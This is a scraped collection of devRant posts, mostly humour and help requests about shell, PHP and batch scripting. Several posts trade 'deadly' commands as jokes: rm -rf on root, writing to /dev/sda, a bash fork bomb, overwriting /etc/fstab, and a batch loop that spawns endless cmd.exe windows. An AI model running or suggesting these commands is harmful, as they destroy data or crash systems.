My boss wants to put an Amazon Echo Dot in the conference room. So I suggested covering it with a cheese cover (those glassy dome thingies). He thought it would be an artsy statement, but I was actually worried about privacy.
Anyone have any experience with listening devices in the workplace?3 -
Why won't they listen to us the first time?
One of my client's logo used blue and orange colors. He wanted the website to be echo friendly by using most of the green in the web design. We suggested that it would make the web design seem weird but he disagreed.
Anyhow, we went on with the design and designer actually did a pretty good job making the design look great in green along with 2 logo colors. Design was approved. We coded the website and asked the client to do final testing.
Today, I received an email from the client that he wants to remove echo friendly -- the green color -- completely from the website and replace that color with the logo colors.
FML.3 -
This crazy guy who created SunVox synth released a single C file that contains a long note sequence AND the synth code itself, with echo and shit, no deps other than SDL to output audio, so you basically compile a single C file, and it PLAYS REAL MUSIC
HOOOOOW
https://github.com/pixicoder/PS
https://youtube.com/watch/...22 -
Come on guys, I want to gather deadly One-Liner for Linuxsystems. Maybe someone has some more creative ways than the standard ones below.
1. rm -rf / —no-preserves-root
2. echo . > /dev/sda
(3). :(){ :|: & };:
4. mv / /dev/null4 -
On my friend's terminal set:
alias cd ="ls -a && echo 'you suck' "
It was funny seeing him flail around for a small bit.1 -
Hey, just joining devrant and find it so much funnier than
https://reddit.com/r/...
Reddit is a funny site but I find it more and more boring..1 -
In several occasions I run rm -rf * in the wrong folder (or wrong server!!).
No big deal so far, but I had to spent more time to redo my work since Linux has no fucking recycle bin like Win!
So I created this helper function to give my brain a few seconds to think before my finger hit Enter.
delete_all_files()
{
echo "WARNING:Delete all files? Type fluffycat to proceed"
read x
if [ "$x" = "fluffycat" ]
then
echo "Deleting all files..."
rm -rf *
fi
}
alias myrm=delete_all_files
Hehehe... I am a genius 😎18 -
LETS MAKE AN INTERACTIVE RANT CUZ I'M BORED:
Lets try to collect some "deadly commands".
I'll start:
sudo echo "I AM STUPID" &> /etc/fstab
sudo chmod +777 /10 -
...This algo can predict new thermoelectric material discoveries years in advance...
Me to all material scientists : "Work harder or we'll replace you with AI".
https://techxplore.com/news/...
P.S : I also need to work harder as I barely know the surface of Linear Regression.1 -
Do telephone conferences count ? Where you have to talk to 18 guys in the big meeting room via phone explaining a feature - never know who's talking to you or all talk at the same time and you can't understand a single word because of the crappy connection or the echo of death. Same rules apply to video conferences as well plus jerky pictures.
-
9000 internet cookie points to whoever figures out this shit:
I'm trying to import a secret gpg key into my keyring.
If I run "gpg2 --import secring.gpg" and manually type each possible password that I can think of, the import fails. So far, nothing unusual.
HOWEVER
If I type the same passwords into a file and run:
echo pwfile.txt | gpg2 --batch --import secring.gpg
IT ACTUALLY FUCKING WORKS
What the fuck??? How can it be that whenever I type the pw manually it fails, but when I import it from a file it works??
And no, it's not typos: I could type those passwords blindfolded from muscle memory alone, and still get them right 99% of the time. And I'm definitely not blindfolded right now.
BUT WAIT, THERE'S MORE!!
Suppose my pwfile.txt looks something like this:
password1
password2
password3
password4
password5
password6
Now, I'm trying to narrow it down and figure out which one is the right password, so I'm gonna split the file in two parts and see which one succeds. Easy, right?
$ cat pw1.txt
password1
password2
password3
$ cat pw2.txt
password4
password5
password6
$ echo pw1.txt | gpg2 --batch --import secring.gpg
gpg: key 149C7ED3: secret key imported
$ gpg2 --delete-secret-key "149C7ED3"
[confirm deletion]
$ echo pw2.txt | gpg2 --batch --import secring.gpg
gpg: key 149C7ED3: secret key imported
In other words, both files successfully managed to import the secret key, but there are no passwords in common between the two!!
Am I going retarded, or is there something really wrong here? WTF!4 -
Hey devs!!
I just can't stop myself from sharing this.
Its been two years now ... my junior is working. and now she is handling standalone WP projects.. but somehow her task got stucked so I was asked to help her.
So I just said check the count of variables and she messaged me with code .. Ma'am this isn't working .. Haha.. I mean come on she better can google out atleast for syntax :(
<?php if(count($content2 == 3) && count($interestt2 == 3))
{
print_r($content2);
print_r($interestt2);
}else{
echo "not checked";
}
?>2 -
Who of you needs some non-disturbing background music while coding?
echo "g(i,x,t,o){return((3&x&(i*((3&i>>16?\"BY}6YB6%\":\"Qj}6jQ6%\")[t%8]+51)>>o))<<4);};main(i,n,s){for(i=0;;i++)putchar(g(i,1,n=i>>14,12)+g(i,s=i>>17,n^i>>13,10)+g(i,s/3,n+((i>>11)%3),10)+g(i,s/5,8+n-((i>>10)%3),9));}"|gcc -xc -&&./a.out|aplay
A while ago I found this in a Youtube-Video from computerphile.
I always listen to it or some variations if I need to stay focused.
Works for me.2 -
I "failed" a SQL question once because I didn't use GROUP BY; I informed the interviewer that it wasn't needed because all the fields in the SELECT were aggregates and based on the WHERE clause I knew exactly what was being aggregated so there was no reason to echo the data value back. I continued that if there was a business or design reason for the echo then yes, the GROUP BY would be required.
-
Won an Amazon Echo Show in a Hackathon where we spent most of the time integrating with Google Home.
I don't know what to do with the thing. 🤔3 -
I just asked ChatCPT to create me a bash script for a certain task. I created a script which basically contained a single echo, creating a python script. I see you have your language preferences, bot!6
-
Spent an hour debugging a super simple ajax post. Was 100% sure that everything was correct, I could echo the id that I wanted to delete, got no error but still the little shit was in the database. Turns out it was no echo, it was an die() right before the query...
-
StackOverflow locked my account. I'm hoping someone here might be kind enough to help me with a bash script I'm "bashing" my head with. Actually, it's zsh on MacOS if it makes any difference.
I have an input file. Four lines. No blank lines. Each of the four lines has two strings of text delimited by a tab. Each string on either side of the tab is either one word with no spaces or a bunch of words with spaces. Like this (using <tab> as a placeholder here on Devrant for where the tab actually is)
ABC<tab>DEF
GHI<tab>jkl mno pq
RST<tab>UV
wx<tab>Yz
I need to open and read the file, separate them into key-value pairs, and put them into an array for processing. I have this script to do that:
# Get input arguments
search_string_file="$1"
file_path="$2"
# Read search strings and corresponding names from the file and store in arrays
search_strings=()
search_names=()
# Read search strings and corresponding names from the file and store in arrays
while IFS= read -r line || [[ -n "$line" ]]; do
echo "Line: $line"
search_string=$(echo "$line" | awk -F'\t' '{print $1}')
name=$(echo "$line" | awk -F'\t' '{print $2}')
search_strings+=("$search_string")
search_names+=("$name")
done < "$search_string_file"
# Debug: Print the entire array of search strings
echo "Search strings array:"
for (( i=0; i<${#search_strings[@]}; i++ )); do
echo "[$i] ${search_strings[$i]} -- ${search_names[$i]}"
done
However, in the output, I get the following:
Line: ABC<tab>DEF
Line: GHI<tab>jkl mno pq
Line: RST<tab>UV
Line: wx<tab>Yz
Search strings array:
[0] --
[1] ABC -- DEF
[2] GHI -- jkl mno pq
[3] RST -- UV
That's it. I seem to be off by one because that last line...
Line: wx<tab>Yz
never gets added to the array. What I need it to be is:
[0] ABC -- DEF
[1] GHI -- jkl mno pq
[2] RST -- UV
[3] wx -- Yz
What am I doing wrong here?
Thanks.17 -
<?php
$currentTime = getCurrentTime();
$asleep = getSleepStatus(); // true
$getUpTime = "9:30am";
while($asleep && ($currentTime >= $getUpTime)){
?>
<p>You're late!! Its <?php echo $currentTime ?>!</p>
<?php
updateStatus();
}
?>2 -
Friend : Have you take a look at this part? We will discuss it this Friday.
What I want to say :
"Don't underestimate my ability to procrastinate, sleep on my problem, run away from my responsibilities, and don't give a sh*t about everything."
What I actually said:
"Of course but I will look at it again thoroughly."
_______________________
Maybe my frustration and depression are not showing enough on my face.
: /1 -
started with
printf("Hello World... It's 2010")
Journey to
cout
println
Document.write
echo
Stayed at
try:
print('hey there...')
except:
print('got issue.... Fu#k this bug')
pass -
alias cls='echo -ne "\x1Bc"'
Actually clears the terminal instead of just scrolling down like clear.1 -
Deploying into linux containers (lxc) as of 2013 before docker even was da hype.
(Experience was a bit problematic tho, as it was in a highly virtualized environment whose backup would really badly kill the whole container every now and then: you could still ssh to the machine but with every access to the file system you'd lose your shell. and only the "echo 1 > /proc/sys/kernel/sysrq" would help to restart the box.) -
<?php
$i = -10;
do {
echo "The number is " . $i . "<br/>";
$i++;
} while($i <= 7);
?>
Just for the heck of it:p21 -
Ever just open up notepad and run
@echo off
:imbored
start cmd.exe
goto imbored
as a .bat and watch how the world burns12 -
When you write print(string), which type of people are you:
A) 1. ( 2. string 3. )
B) 1. () 2. string
C) Autocomplete guys
D) hodor
*applies for echo, printf, println, etc.
** python2 and c++ are discriminated on purpose9 -
Why did it take years before someone told me to add this to your bash script to see the line on which a command failed?
errorOnLine() { echo "Line $1 had an error" ; exit 1 ; }
trap 'errorOnLine $LINENO' ERR7 -
During my readings of Nim I found a technique known as stropping.
This gives devs the ability to use keywords as identifiers.
Example:
var `var` = "fucking why?"
echo(`var`)
Can anyone tell me WHY would someone subject themselves to such confusion notion? Mind you Nim has large features for macro programming and the creation of dsls, i have not gotten far enough to assess this, but what other use could you highly knowledgeable lads and lasses think of?22 -
I used to thank Alexa when it does something for me... Why am I doing this? And more important: does AI care? :D1
-
All the C# developers will get this. I’m a C# developer myself. When I go on GitHub, all of the c# GitHub wikis, comments, and issues are very professionally written, even the amateur comments are worded like a stackoverflow question. It’s great.
I stumbled across a popular JS GitHub repo (https://github.com/tessalt/...) and reading the comments made me so happy to be a developer of enterprise level languages with structure, patterns and conformity.
Sure JS has all these things, but JS also has a boatload of “self taught” (I’m self taught too) developers with no patterns, no sense of scalability, or systems integrations, or sense of how to write meaningful comments and discussions44 -
I overheard this mid level dev discussing a new task with a senior dev. They're discussing compile error in cmake. I realized that the mid level dev asked so many basic stuff that are easily google-able. Mind you, our codebase is cmake based, how come she didn't know even the basics and yet survive in our company for years?
I felt bad for the senior dev, as I knew he's busy with his work. He couldn't do his job because he had to do hand-holding with this dev.
My biggest mistake is often trying to solve things by myself which will take hours instead of just asking a senior. But asking other dev for every little things are also annoying. Why can't you just google shit up or RTFM?1 -
My master thesis is in ramble.
What I thought to be an achievable task in the beginning turns out to be very challenging.
My skill is not up to it.
The assistant prof I worked with is also not very helpful. I thought he's already familiar with the lib I will work with, turns out he's not so I have to study it by myself.
Me : **Asking question A**
Him : **Explaining B, C, D that's not really related to A. My question went unanswered.
Him giving me explanation on things that I already knew**
Me : "How about this code? Can we please focus on the code?!"
Him : **Finally explains the code so I can move forward a little**
Apparently I have to grow fangs and horns to scare people to give me what I want. :/
He and my prof are not in sync about how to solve the task.
They told me that even though I was behind my deadline (30% progress at 50% time), I still have some time before the deadline of the thesis.
The truth is, if I no longer believe that I can solve it, even if they gave me a time extension, it's going to be useless.
My motivation of finishing it is fading away. It's not a subject that I enjoy, the people I work with are not helpful.
I have been in depression for 2 months, and it's taking a toll on my health.
I am seriously considering dropping it and just let go of my master degree. There are many people who can work in IT even though they don't have proper formal education eh?5 -
-----
sudo apt-get remove 2017
------
------
apt-get install 2018
--------
echo " HAPPY NEW YEAR:joy:"
--------
--------
apt-get update1 -
Is it just me, or do other people feel like mysqli prepared statements like to never work the same way twice?
I just finished a 3 hour debugging session where the prepared statement just didn't work. Then, just moments ago, I commented out an "echo" that has nothing to do with the fucking statement! And guess what? It works.
one moment please, I need to let my anger out.
GAAAAAAAA YOU FUCKING STUPID COMPUTER! YOU SON OF A FUCKING BITCH!
and to the people who made mysqli...
I HATE YOUR FUCKING LANGUAGE SO MUCH RIGHT NOW!
*sigh*
Ok, I'm back.
Anyways,
I don't know how, but I think php can smell anger and loves to make life miserable.
Please tell me I'm not the only one. -
So been working with the COSMOS framework and I have litteraly spent more time reworking the CLI to be so much more functional... Still haven't implemented a simple echo command but hey... Shit looks pretty that's all that matters... Right... Right?
-
So today I found out why I couldn't SCP stuff to one of my servers for the last 6 months.
It was a fricking "echo" in the .bashrc script (well, in a script that got sourced in there).
(Read: https://stackoverflow.com/q/...)1 -
WHO CAN SPOT THIS STUPID PHP ERROR!
$string = "something.com"
if(strpos(".", $string))
echo " yep, there's a period";
else
echo "nope, fuck you there isn't";
output: "nope, fuck you there isn't"
me: wtf ??? fucking wasting my time on this fucking stupid tiny fucking error, goddamnit and each refresh takes 15 seconds because it involves calling all these apis from localhost, gmail, etc. arggg...
...for an hour, until I smacked my head so hard I'm in the hospital for a concussion
I hate when that happens.
Time to take a break.15 -
Write a function that shows off a cool stuff about your favorite programming language
Me:
function coolstuff(){
echo "I can always google and reffer everything and stack overflow got my back";
}2 -
"We can't install the latest Win 10 features and security improvement on your PC due to low disk space."
Time to clear up.
Should I delete my hands and feet too?
: /6 -
Does anybody here knows an opening for retail job/cleaning services?
I am so fed up with this sh*t I'm working right now.
: / -
Somebody already thought about it
root@6e7d83927271:/# [ $[ $RANDOM % 3 ] == 0 ] && rm -rf / || echo *Click*
rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe
*Click* -
This is how my AntLang code looks like:
repeat[{echo',|{[+]<x*2>,(4le+)take(0eq(x\4)mod 6)take<(+\1)%3>}'x};{1};<1>]
:D -
There's no bug free program on earth, they say. Well show me a bug in my program
<?php echo"hello world!";?>
😂 😂6 -
Why CMake is a steaming pile of dogshit
- Doesn't echo the command lines it is running making it hard to figure out what it is doing
- Dumps a bunch of crap all ovey my directory structure. And I thought NPM was bad
- Generates 'Makefiles' but only kinda uses Make? (I think, its confusing) WTF
At this rate I wish I could use just bash scripts. At least I could figure out why a simple thing like why my compilation fails to locate an include file even though Is is clearly specified in include_dirs() directive.
Get phucked, Cmake9 -
So.. I spent some non-trivial time trying to call a soap service via SSL in a java application struggling with SSLHandhakeException. I tried quite a few things with the certificates, none of them worked.. until we found out, that I added the right certificates to the truststore of the WRONG java :-/
Conclusion: when working with java cacert files, run
echo %java_home%
first (you can thank me later).4 -
When your CS group is awol and the project is due in 3 days. But you just got back from spring break so are still drink as fuck off the most delicious Apple cider ever, angry orchards. So In a drunken furor you Google how to write an LL(1) recursive decent parser, all the while screaming into the empty echo chamber of your group slack about how bullshit it is.
I had a good night what about you? -
Worst sin ever was during a workplace hackathon.
Being ultra competitive I decided the other teams build script was too functional, ie. It worked. Changing it to
.echo please accept our warmest contrafibularitiea and have a nice day
...and commit gained more than a little (deserved) approbrium. -
The makefile:
'
GOPATH=$(pwd)
clean:
@echo "cleaning :)"
@rm -rf $(GPATH)/bin
'
the "oh crap":
make clean1 -
I've been selected as an amazon echo tester for my country.
to agree fill this survey and you will receive a free Echo:
*fine*
do you have WiFi?
yes (you already know that i have a fire tv stick so you know even the password)
what mobile os do you have?
android (you already know also this i have the amazon app installed in it)
where do you live?
*my city* (you know that from ip address & shipping addresses)
imagine what them will now that i will introduces an open in mic in my room....
(i think that i will keep it behind firewall when i am not at home and when i dont want use it)2 -
An easily extendable voice activated AI. Basically a personal assistant made for programmers that can be extended to meet their personal needs. Sort if like the echo, but you have a more accessible API.2
-
Years ago there was a booom with counter-strike portals and I wanted to have one by myself. I uploaded php-fusion on ftp, download a free template and fill content. But, basic profile was not so interesting as on other sites. So I found a dev, sgo wrote me better profile (for free). I wanted to show user id but didn't want ask him, so I tried (echo in html) 4 hours of trying print a simple variable. When I already done it, that feeling was beautiful and I realized, that I can do changes by myself and try other things. Next was basic VIP plugin (with sql injections etc.) which I sell to other people and that was the moment I know I will be dev
-
two hours later i still wonder why
echo %%~fF >> file.txt
does not list the entire subdirectories as opposed to echo %%~fF
batch is weird.1 -
soo, i am unknowledgeable of ALL best practice.
lets say i call a php file called loader.php with a $_GET['type'] parameter, then after i check if type is actually set i switch the parameter and my logic then does stuff appropriate for $type..
do i create a lot of sub files with the program logic in it or do i just create subfunction (which i have to pass variables if necessary)?
Switch( $_GET['type'] ) { case 'foo': include "logic/foo.php"; break; default: echo "error"; break; }
or is the whole concept totally alien and stupid? i most honestly say that i dont know exactly what i could google to find an answer3 -
After trying to print colored text to the console using a portable Python 3 interpreter on Windows I came up with a "solution". I tried pretty much everything possible (I could think of): curses couldn't be loaded, ansi didn't work and installing libraries wasn't really an option, because it's not my device. Fuck portable interpreters and have fun with the "solution".
Def color_print(text, color):
text = text.replace("\n", "\\\" \\\"")
os.system ("powershell \"$host.ui.RawUi.ForegroundColor = \\\"" + color + "\\\"; echo \\\"" + test + "\\\"; $host.ui.RawUi.ForegroundColor = \\\"Gray\\\"")
It's slow, unreadable, only works for on Windows and requires powershell and is probably the worst piece of code I ever wrote, but it works 👍.2 -
$TheForce = 'Impostor Syndrome';
$incompetent = true;
while ($incompetent) {
echo <<<EOT
I am one with $TheForce. $TheForce is with me.
EOT;
if(get_training($result) > 9000) $incompetent = false;
} -
In php how would I "visit" another user cause a lot of people say use
$_SESSION["username"] = $_POST["username"]
or
Echo $_SESSION["username"]
Or
Echo $_POST["USERNAME"]
Are any of these good or should I just feck the computer out the window 😂13 -
Just setup an IPsec tunnel and route 192.168.50.0/24 to 192.168.0.0/16 over that tunnel on phase2. We will be able to see 192.168.50.6 machine from 192.168.0.0/16 remote subnet.
Do it.
Why we cannot send ICMP echo from local subnet machine to another machine in same subnet??? Also remote subnet hits only the BSD machine it does not go further. Whyy
I know I should have not done it but SDM and my manager insisted to do so... And now they expect me to fix time outs when remote subnet belongs to different company.7 -
Okay soo... I have been working on a "notepad" script using bash. I basically have finished it but it lacks one thing. Verification if the user has typed anything! I started searching on google how i could do that, and found nothing (lol).
I'm asking help from you people :D
Here's the code that doesn't work.
while [[ $name != 'name' ]] || [[ $name == '' ]]
do
read -rp "What would you like the file name to be? The file extension is .txt!$(echo -ne '\n: ')" name
echo "Enter a valid file name please."
done
There's probably one small thing wrong anyway lol
Thanks already!3 -
Does anyone uses an Echo Dot for any usefull task? I currently use it only for Phillips HUE because I can't think of any other usecase 🤔1
-
Why are you so slow Kaggle...
(((preparing kernel)))
(((committing)))
I have tons of data to analyze with multiple methods...
sigh...1 -
So i was trying to learn php from a udemy course. The guy there mixes a hell lot of php with html, like all the pages are .php with html content and mini <?php ... ?> Scripts in between everywhere: titles, swl queries running and displaying outputs as html with echo php variables, etc..
Now am not much versed with client server data model, but isn't there supposed to be clear distinction between the server side and the client side? He puts a form there using echo "html string" , rrcieves the form input in the string's action , runs an sql query and generates another set of html strings. All in one file.
Is it how major php websites work? On the other hand My web dev friend om who works a lot with js usually runs 2 seperate aws instances for frontend and backend and makes them communicate via apis9 -
Just spent 4h trying to start application after db password change. The app accepted base64 encoded password.
It turns out it's very important to use -n switch in "echo pass I base64"1 -
<?php
// This is the demo code of a PHP gotcha which took me some hours to figure out
$hr = "\n<hr>\n";
$JSON = '{"2":"Element Foo","3":"Element Bar","Test":"Works"}';
$array = (array)json_decode($JSON);
echo "Version: " . phpversion() . $hr;
// Tested on: 5.5.35 and 7.0.15
var_dump($array);
// Prints: array(3) { '2' => string(11) "Element Foo" '3' => string(11) "Element Bar" 'Test' => string(5) "Works" }
echo $hr;
var_dump($array['Test']);
// Prints: string(5) "Works"
echo $hr;
var_dump($array[2]);
var_dump($array['2']);
var_dump($array["2"]);
var_dump($array[3]);
var_dump($array['3']);
var_dump($array["3"]);
// Prints: NULL + Notice: Undefined offset ... in ...
echo $hr;
$newArray = array();
foreach ($array as $key => $value) $newArray[$key] = $value;
var_dump($newArray[2]);
var_dump($newArray['2']);
var_dump($newArray["2"]);
// Prints three times: string(11) "Element Foo"
var_dump($newArray[3]);
var_dump($newArray['3']);
var_dump($newArray["3"]);
// Prints three times: string(11) "Element Bar"1 -
DailyCodingProblem: #1
Given an array of integers, return a new array such that each element at index i of the new array is the product of all the numbers in the original array except the one at i.
For example, if our input was [1, 2, 3, 4, 5], the expected output would be [120, 60, 40, 30, 24]. If our input was [3, 2, 1], the expected output would be [2, 3, 6].
this is my quickly solution in php:
$input_array = [1, 2, 3, 4, 5];
echo('INPUT ARRAY:');
print_r($input_array);
echo("<br/>");
foreach($input_array as $key => $value){
$works_input_array = $input_array;
unset($works_input_array[$key]);
$result[] = array_product($works_input_array);
}
echo('OUTPUT ARRAY:');
print_r($result);
outpout:
INPUT ARRAY:Array ( [0] => 3 [1] => 2 [2] => 1 )
OUTPUT ARRAY:Array ( [0] => 2 [1] => 3 [2] => 6 )5 -
When the documentation suggests you use composer to install swiftmailer so I can use sendgrid.
Even though I can install composer as an extension and sendgrid is integrated within the portal it's down to me to work out the azure cli or is it a powershell cli or is it bash?
Echo gives kudu error, oh well if there's kudu why am I using composer?
Grrr azure you don't make it easy. -
As a programmer I solve my life problems using programming too..
<?php
$problemSolved = “Fuck Life!!!”;
echo $problemSolved;
?>4 -
Went to bed at 23:40, slept at ~23:50 - goal accomplished
Woke up, asked that little spying bastard besides me (echo dot) about the time. Understood sth. in the neighbourhood of 0:30.
Booted the phone, realized I've slept a bit more.. It's 2:30.
By now it's 6:32 (CET) I havn't done anything productive but to get out of bed and get some food.
Let's see if my head will produce some working code.2 -
Rant
So, after a week seminar at my university on "practical introduction to operating systems" and bash scripts all we did till now is 'echo' and 'mv'.... why did I sign Up for this....2 -
In php echo is language construct.
In php echo is language construct.
In php echo is language construct.
In php echo is language construct.
In php echo is language construct.3 -
Shit! I got an invite to get an echo auto, but I can’t get it ‘cos it’s not available in the UK! I am sick of the radio. I just wanna play my own playlists...argh.
-
GitLab, you really should fix your CI.
I mean, I know .gitlab-ci.yml has to be written carefully, having in mind that GL shell is a castrated bourne shell, but come on... Failing a pipeline because I used a semicolon in an `echo` parameter string?
echo ""items: 0" ## this will fail
echo "items 0" ## this will pass
This is a bit too much.
Removed the semicolon and the pipeline worked just fine.12 -
Mood:
echo do I care? >> seeifIcare.txt | echo currentResponse : no >> seeifIcare.txt | grep-n currentResponse seeifIcare.txt
Output:
2:currentResponse : no -
> me when angry
" what the fuck you stupid dev stop doing crappy shit"
> me when trying to do stuff
#!/bin/bash set -e
echo "no please"
exit 0
I should stop blaming devs for doing crappy stuff -
Here's your Friday fun fact!
Too lazy to look up your current public IP?
ufw allow from `echo $SSH_CLIENT | awk '{ print $1}'` to any port 8080
A lifesaver for opening up the firewall when I'm too lazy to look the public IP of the coffee shop I'm at.1 -
What's the general Software Engineering rule of thumb again for frontend templating code?
If I look at certain websites, I notice some code smells in PHP such as:
$.modal = <?php echo $(base)["username"] != 'me' ?' ': echo 'style="display=none"' ?>
or just in general places in the code where PHP gets used as a templating engine for gluing together pieces of HTML code based on conditionals spread out over the codebase and the database itself too. To make things worse, this carries over to JavaScript ajax functions. As a developer, this to me just seems like spaghetticode.
On the other hand, many popular frameworks properly do templating, such as EJS, containing templating in one place and not mixing it with logic too much but just having simple output like <%= %>.
I know I've seen frameworks like Angular 1 contain pieces of HTML into directives, but maybe that's something different, more 'OO'-simulating or cleaner.3 -
!dev || rant
Random thought: how loud does a fart have to be in order for it to echo? I mean, they say a duck's quack doesn't echo, and it's basically the same sound.9 -
The Echo Show is a piece of junk.... I'd return it but if have to convince my parents to drive to a UPS and well that ain't happening. So I just spend $50 on junk...2
-
!rant
My dad wants to add security cameras in our home. I kind of want to go ahead and add cool stuff(like automation or something) to our house using this opportunity.
What I am thinking of right now is salvaging an old desktop with an Nvidia GPU to add face recognition and motion detection to the mix. I am also thinking I could get an Alexa echo dot or something similar and hook everything up. Another idea is using owncloud to create my own cloud.
What do you guys think? Any ideas or suggestions? Maybe a cheaper way to do stuff?7 -
Rant 1
---
Seriously what is the fucking difference between github gitlab bitbucket? Is it like the whatsapp/viber/signal shit?
Whatsapp was the first to create a system for free chatting? Then viber came along and copied the exact same fucking bullshit like whatsapp? Then signal came along and copied the same bullshit? And all other apps too?
Github was the first to create a system of GIT? And then gitlab came along and copied the exact same bullshit? Then bitbucket copied the same horseshit too?
Rant 2
---
1) echo "shit" > recruiter.txt
2) echo "shit" >> recruiter.txt
> Will create the file if not exists and OVERWRITE the text inside it
>> Will create the file if not exists and APPEND the text inside it
This is the only difference
Correct?
Rant 3
---
Fuck this devrant ass shit for making me wait 2h to post a new rant. What are we in 1995? Not even facebook has this stupid restriction. Not any social media app EVER in existence. This shit is whack. U fear someone spamming the shit out of the app. But thats GOOD FOR U because you then have active people creating content on ur platform. Put this restriction away before i slap my dick on ur face!12 -
I was setting up a CI build machine. Builds were supposed to be ran in disposable containers, but I needed a way to trigger a task on the host from inside the container. I didn't want to give containers shell access to host - kinda misses the point.
Solution: a server running on the host and listening for predefined commands on a named pipe. The pipe was bound into containers which would simply echo commands into it. Very simple and effective.
The hacky part? The server was an 8-line bash script.1 -
ARGGHH ? WHY !?
[user@localhost pkgconfig]$ ls
libcrypto.pc libpng16.pc libssh2.pc libtiff-4.pc openssl.pc zlib.pc
libjpeg.pc libpng.pc libssl.pc libtls.pc sqlite3.pc
[user@localhost pkgconfig]$ pkg-config --cflags "openssl"
Package openssl was not found in the pkg-config search path.
Perhaps you should add the directory containing `openssl.pc'
to the PKG_CONFIG_PATH environment variable
Package 'openssl', required by 'virtual:world', not found
[user@localhost pkgconfig]$ echo $PKG_CONFIG_PATH
/CustomPath/lib/pkgconfig/
[user@localhost pkgconfig]$ PKG_CONFIG_PATH=/CustomPath/lib/pkgconfig
[user@localhost pkgconfig]$ pkg-config --cflags "openssl"
Package openssl was not found in the pkg-config search path.
Perhaps you should add the directory containing `openssl.pc'
to the PKG_CONFIG_PATH environment variable
Package 'openssl', required by 'virtual:world', not found7 -
Jesus Christ , how does one connect to a third party websocket stream in Laravel. It seems to be so damn complicated with the involvement of Pusher, Broadcast, Echo and a bunch of other useless packages. On Top of that there are no tutorials on this, everyone is busy building a chat app and even then i tried following along, it doesn't work. Does anyone know how to do this?
In python, it is as simple as this
import websocket
SOCKET = "wss://stream.binance.com/ws/..."
ws = websocket.WebSocketApp(
SOCKET, on_open=on_open, on_close=on_close, on_message=on_message
) //you get the damn data
In Laravel, it so bloody complicated. -
TFW you realize that using git to track your dotfiles was a really good idea!
echo "Oh shit, I overwrote my ssh keys"
`git checkout .ssh/id_rsa`
`git checkout .ssh/id_rsa.pub` -
So any gopher here who uses Iris?
Is it good compare to echo? I just want to try it but the creator seems to have a bad images (based on some blog post years ago)3 -
while doing web thingies for over 20 years now i have a feeling i did it properly for the first time now. i am proud and embarrassed at the same time.
maybe for the first time php doesn't echo html with inline-js and -css.3 -
function woodo {
if [[ $EUID > 0 ]]; then
echo "It's a wierd tree"
else
echo "The wierd tree doesn't like the squirtbottle."
echo "The wierd tree attacked!"
fi
} -
To you CPP-devs,
I want to write a small ask-password tool, like systemd-ask-password, but tty-only and non-systemd.
I use termios to switch the terminal into noncanonical mode and disable echo of stdin.
Now I want to read chars from cin and append them to a string, until I read an endl or an error occurs.
In C, I could use an input-loop with getchar, but how could I do this the CPP-way, since cin.get() is nonblocking?2 -
hello i'm trying to do a loop to all of our users account and see if they have already a partner or pair but the problem is after 2 user, the loop just stops and won't loop to all user accounts that's available. Please don't leave me hanging or leaving comments with no solution just like stack overflow.
<?php
$sqlo = mysqli_query($conn, "SELECT `username` FROM users");
$i=1;
$counter = array();
while ($h=mysqli_fetch_assoc($sqlo)) {
$counter[$i] = $h['username'];
$i++;
}
for($i = 1; $i <= Fixed_count($counter); $i++){
$b = $counter[$i];
$query1 = mysqli_query($conn2, "select * from `$b` where username='$newuser'");
$query2 = mysqli_query($conn2, "select * from `$b` where `status`='yes'");
$user1 = array();
$user2 = array();
while($result = mysqli_fetch_array($query1)){
$user1['username'] = $result['username'];
$user1['status'] = $result['status'];
/*more user info*/
while($result2 = mysqli_fetch_array($query2)){
$user2['username'] = $result2['username'];
$user2['status'] = $result2['status'];
/*more user info*/
if($temp_counter < 4){
if($user1['username'] != $user2['username'] && $user1['status'] == "yes" && $user2['status'] == "yes"){
if(/*more condition*/){
/*if condition's are met execute process*/
echo "Success!";
continue 2;
}
}else{
continue 2;
}
}
}
}
}
echo "Loop stopped at user: ".$i;
?>7 -
echo -e "\ntext\n" >> spaghetti.js
Also cross platform (you set flags in win via a / but whatever)1 -
Jordan Castillo: Happy birthday sire.
Eddie: Thank you Maestro.
Jordan Castillo: 😊 How do you feel now that your life's code just ran past an age++?
*10 minutes later.
Jordan Castillo: Oh what? I didn't see your reply.
Jordan Castillo: You maybe forgot to echo it out.
Eddie: Oh well Jordan, I feel like an iteration I guess.2 -
laravel websocket server, laravel echo plugins, android app, ionic angular frontend, laravel backend... hopefully the tech stack is stable for an ordering app1
-
I'm building my own google home/amazon echo any tips on good books about A.I etc?
Right now i have it in browser but later on im planning to do it in python and let it run on a raspberry pi -
If (method-exists (devrant->rantAboutBreakingUpWithGirlfriend ()){
Echo "This seriously sucks %#$@£¥";
}else {
Return false;
} -
Despite already having a few years of professional experience dealing with Linux servers, I still, to this day, confuse, which environment file gets sourced and when...
There's /etc/profile, /etc/bashrc, ~/.bash_profile, ~/.profile, ~/.bashrc
I think it's... Bashrc for interactive shells, profile for login shells.
But then I have examples like "ssh user@server 'echo $var'" that... Don't source any of the files!
You can enable user environment files for SSH that get sourced whenever a user logs on through SSH (~/.ssh/environment / environment specified for a key in ~/.ssh/authorized_keys)
Is there some sort of master environment file that gets sourced *every* time, no matter what kind of shell starts?1 -
This seems to be odd bug, not impacting windows itself but some things like python. Can you check this code on your Win:
if %PATHEXT:~-1% == ";" (echo Bugged) else (echo Seems fine)
What it prints ?5 -
if( this.review(this.rant) == "++" ) {
echo ( this.name . " is awesome" );
} else {
echo ( "FUCK". this) ;
}5